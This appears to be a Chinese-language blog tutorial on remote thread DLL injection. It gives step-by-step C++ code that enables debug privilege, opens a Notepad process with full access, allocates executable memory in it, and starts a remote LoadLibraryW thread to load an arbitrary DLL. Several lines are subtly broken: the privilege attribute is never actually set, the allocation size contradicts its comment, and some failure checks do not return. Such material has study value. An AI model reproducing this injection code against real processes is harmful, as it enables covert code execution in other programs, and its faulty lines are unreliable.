第一节 前置知识
- 提起远程线程注入,大家有可能会理解为我在广西,你在北京,我注入你的线程。其实并不是这个样子。
- 系统在每次运行一个exe 程序的时候系统会默认分配一个4G 的地址空间,给这个exe 程序。
- 然而,我们的系统有16G、32G等等。那岂不是只能运行几个exe 程序了?
- 其实我们在给exe 程序分配地址空间的时候,是一个虚拟地址空间。
- 通过映射的方式,映射到我们的真实机上。
- 每个exe 程序之间是不能互相访问的。比如QQ 和 微信不能互相访问。如果可以访问,就会非常不安全。
第二节 注入初始
DLL文件,是动态链接库,我们执行程序的时候最后调用的都是这个DLL文件。
每一个进程中都会有多个线程。
远程线程注入,简单来说,就是指我们通过一个工具或者其他的方法,在一个指定的进程中,开辟一个线程的内存地址空间,然后用来执行加载我们的DLL文件,或者是我们想做的事情。
第三节 注入原理
- 我们的程序在执行的过程中,都会创建一个进程、线程,然后通过进程线程加载DLL文件,从而执行我们想要的功能。
- 在我们的系统程序中, 有两个DLL程序就是Kernel32.dll 和user32.dll 。这两个DLL 是在大部分程序上都会调用的DLL。
- 其中Kernel32.dll 文件中有一个LoadLibraryW函数。这个函数是应用程序调用动态链接库时的函数。
- 为什么使用这两个函数呢?
- 因为同一个DLL,在不同的进程中,不一定被映射(加载)到同一个内存地址下
有的加载的是同一个DLL文件的A函数
有的加载的是同一个DLL文件的B函数 - 但是Kernel32.dll 和user32.dll 是例外的,他们总是被映射到进程的内存首选地址。
- 因此在所有使用这个DLL文件的进程中,这两个DLL的内存地址是相同的
第四节 注入思路
思路一:
- 获取一个目标线程的句柄
- 在我们的进程中得到LoadLibrary 函数的地址,因为加载时这个DLL文件的内存地址相同,所以这个地址也是目标进程中的地址
- 传入我们想要注入进去的DLL的地址
- 开启一个线程(开辟一块内存地址空间)
- 让这个线程,在我们想要注入的目标进程中工作,这个线程的作用就是使用LoadLibrary 这个函数加载我们想注入的DLL
思路二:
- 提升进程的权限:因为我们要将程序注入到别的进程中,所有我们的权限一定要够,比如说我们的系统有system用户和administrator用户等
- 查看我们获得到的特权信息是什么
- 调节进程权限
- 查找窗口,就是获得指定程序的进程,可以理解为就是获取窗口句柄
- 根据窗口句柄获取进程的PID(Process ID)
- 根据PID获取进程句柄。由于PID只是一个进程的序号,不够强大,所以我们需要获取一个更加强大的控制进程的东西,叫做进程句柄。这个进程句柄可以控制exe的关闭、暂停、执行等等行为。
- 根据进程句柄在指定的进程中申请一块内存地址空间。拿到进程句柄后,就可以对exe进行操作了。由于我们想要学习的进程注入,所以演示进程注入
- DLL的路径写入到远程进程中
- 在远程进程中开辟一个线程
第五节 项目实战
好了,经过上面的学习,我们对远程线程注入有了一个基本的了解。虽然有了了解,但是还是对远程线程注入的过程、原理以及使用有一些模糊,不太理解。(个人学习过程中的感悟)
我们需要配合一些远程线程注入的实战来进一步了解
项目一:
要求:编写一个程序,在程序中,指定注入的DLL的文件的路径以及被注入进程的信息。当我们点击注入后,就可以将DLL程序注入到进程中,从而执行我们注入的DLL文件
成果展示:
代码展示:
- 步骤一获取我们想要获取权限的锁
//1. 提升进程的权限
// 因为我们要将我们写的程序注入到别的进程之中,所以我们的权限一定要够
// 比如操作系统有system\administrator用户
/*
函数简介:
OpenProcessToken:我们想要提升权限,首先要进入到提升权限的空间中,相当于那一把钥匙,打开提升权限的盒子。
GetCurrentProcess:获取我的进程。得到我的自己的进程的锁。
TOKEN_ALL_ACCESS:打开所有的权限。打开读写等等所有权限
*/
HANDLE hToken;//将获取到的“钥匙”保存到这个变量。
// || OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
//如果返回的结果是FALSE,就是获取失败,提示获取钥匙失败
if (FALSE == OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)){
MessageBox(L"打开进程,访问令牌失败");
return;
}
//==================执行到这里就说明是拿到了锁==================
- 查看进程里面的特权信息
//2. 查看进程里面的特权信息
/*
LookupPrivilegeValue:查看盒子,去看一下盒子里面的信息
参数一:系统特权名字
NULL:查看本机系统
参数二:主要看什么特权
SE_DEBUG_NAME:调试权限
参数三:将系统的权限赋值给变量
luid
*/
//将获取到的权限,赋值给一个变量
LUID luid;
// || LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&luid);
//判断是否获取成功
if (FALSE == LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)){
MessageBox(L"查看进程里面的特权信息失败。");
return;
}
//==================执行到这里就说明是获取到了权限==================
- 调节进程的权限
//3. 调节进程权限
/*
AdjustTokenPrivileges:
参数一:拿着钥匙hToken,第一步获取到的
参数二:是否禁用所有的特权。我们使用的是不禁用
*/
//定义一个新的特权,用来接收函数调节后的权限。
TOKEN_PRIVILEGES tkp;
tkp.PrivilegeCount = 1;//特权数组的个数为一个
tkp.Privileges[0].Attributes + SE_PRIVILEGE_ENABLED;//因为只有一个元素,所有数组就是0
tkp.Privileges[0].Luid = luid; //将获得到的权限赋值给这个特权。
if (FALSE == AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)){
MessageBox(L"调节进程权限失败");
return;
}
//==================执行到这里就说明是已经调节了权限==================
- 查找窗口(就是获取指定应用程序的进程)
//4. 查找窗口(就是获取指定应用程序的进程)
/*
FindWindow:
参数一:Notepad,进程的类,一个应用程序的类是一样的
参数二:就是标题
*/
//如果找到了,这个变量就有值了
HWND hNotepader = ::FindWindow(L"Notepad",L"新建文本文档.txt - 记事本");
//判断这个窗口是否打开
if (hNotepader == NULL){
MessageBox(L"没有打开记事本");
return;
}
//==================执行到这里就说明是已经获取到了应用程序的窗口==================
- 获取进程PID(Process ID进程ID)
//5. 获取进程PID(Process ID进程ID)
/*
GetWindowThreadProcessId:函数就是根据窗口句柄,获取PID
参数一:传入一个窗口的句柄
参数二:传入接收获取到的PID的变量
*/
DWORD dwPID = 0;
GetWindowThreadProcessId(hNotepader,&dwPID);
if (dwPID == 0){
MessageBox(L"获取进程PID失败");
return;
}
//==================执行到这里就说明是已经获取到了进程PID==================
- 根据PID(进程的序号)获取进程句柄
//由于PID只是一个进程的序号,不够强大,所以我们需要获取一个更加强大的控制进程的东西,叫做进程句柄
//这个进程句柄可以控制exe的关闭、暂停、执行等等行为
//6. 根据PID(进程的序号)获取进程句柄
/*
OpenProcess()函数:打开一个进程
参数一:以所有(最大)的权限打开,就是我们可以执行任何权限
参数二:是否可以继承父进程的环境变量,一些属性,FALSE是不继承
参数三:根据指定的PID打开一个进程
RETURN:
打开成功会返回一个进程句柄
*/
//记事本的进程句柄
HANDLE hNotepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
//判断记事本的进程句柄是否成功
if (hNotepad == NULL){
MessageBox(L"打开进程失败");
}
//==================执行到这里就说明是已经获取到了进程句柄==================
- 因为每个进程中,有4G的虚拟地址空间,在远程进程中申请一小块内存空间
//拿到进程句柄后,就可以对exe进行操作了。
//由于我们想要学习的进程注入,所以演示进程注入
//7. 因为每个进程中,有4G的虚拟地址空间,在远程进程中申请一小块内存空间
/*
VirtualAllocEx()函数:专门在远程进程中进行内存申请的
参数一:指定在哪个进程中申请(根据进程句柄)
参数二:指定申请的位置,NULL是指不指定那一块,随便给一块地址就可以
参数三:指定申请的大小,0x1000:4096个字节
参数四:申请一块物理地址,物理存储器用来存储虚拟内存。
参数五:让这个空间可读可写可执行。就是我们可以进行操作
RETURN:
返回一个地址空间
*/
LPVOID lpAddr = VirtualAllocEx(hNotepad, NULL, 0x0100, MEM_COMMIT,PAGE_EXECUTE_READWRITE);
//判断申请的空间是否成功
if (lpAddr == NULL){
MessageBox(L"在远程进程中申请内存是否成功");
}
//==================执行到这里就说明是已经获取到了远程进程的内存空间==================
- 将DLL路径写入远程进程中
//8. DLL的路径写入到远程进程中
/*
WriteProcessMemory()函数:
参数一:写入到指定的进程中
参数二:写入到指定的申请的地址空间中
参数三:将指定的DLL文件的路径写入进去
参数四:指定的DLL文件大小,多少字节
参数五:实际写入到多少个字节,NULL不关注,只关注当前就可以
RETURN:
失败返回FALSE
成功放回TRUE
*/
//指定我们需要注入的DLL的文件路径
TCHAR szDLLPath[] = L"C:\\Users\\lenovo\\Desktop\\123.dll";
if (FALSE == WriteProcessMemory(hNotepad, lpAddr, szDLLPath, sizeof(szDLLPath), NULL)){
MessageBox(L"在远程进程中写入数据失败");
return;
}
/*
GetModuleHandle()函数:能够获得我们Kernel32.dll的句柄
参数一:获取指定名字的句柄
GetProcAddress()函数:返回一个指定函数的地址
参数一:是一个获取到的dll
参数二:是一个指定的函数
Kernel32.dll是一个核心的动态库,所有的exe进程都加载了这个动态链接函数
记事本也加载了Kernel32.dll
但是所有的dll动态链接函数在动态链接库中都是只有一份
不同的exe程序调用的dll文件都是只有一份
也就是说所有的exe都加载了Kernel32.dll文件
既然是共享的,那么dll里面的函数也是共享的
*/
//GetModuleHandle(L"Kernel32.dll");
//GetProcAddress(GetModuleHandle(L"Kernel32.dll"),"LoadLibraryA");//窄字符
//可以理解为返回一个函数指针
PTHREAD_START_ROUTINE pfnStartAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryW");//宽字符
//LPTHREAD_START_ROUTINE *pfnStartAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryW");//宽字符
if (pfnStartAddr == NULL){
MessageBox(L"返回指针失败");
return;
}
//==================执行到这里就说明是已经获取到了指定DLL文件的指定函数的指针==================
- 再远程线程中开辟一个线程
//9. 在远程进程中开辟一个线程
/*
CreateRemoteThread()函数:我们打开注册器,让它在记事本中自己开一个线程
参数一:在指定的进程中开线程
参数二:线程的安全属性为NULL
参数三:堆栈大小默认为0
参数四:远程线程执行哪个函数( 线程入口函数的起始地址)
参数五:传进来我们申请的地址空间
参数六:什么时候启动,0为马上启动
参数七:线程ID,NULL就可以
RETURN:
返回一个远程线程句柄
*/
HANDLE hRemote = CreateRemoteThread(hNotepad, NULL, 0, (LPTHREAD_START_ROUTINE)pfnStartAddr, lpAddr, 0, NULL);
WaitForSingleObject(hRemote, INFINITE);
//判断创建远程线程是否成功
if (hRemote == NULL){
MessageBox(L"创建远程线程失败");
return;
}
第六节 结语
本次博客只是演示了一个项目用于让没有基础的同学,理解远程线程注入的基础,更加高深的利用手法,需要自行琢磨
本次的项目灵感来自于顿开教育里奇老师。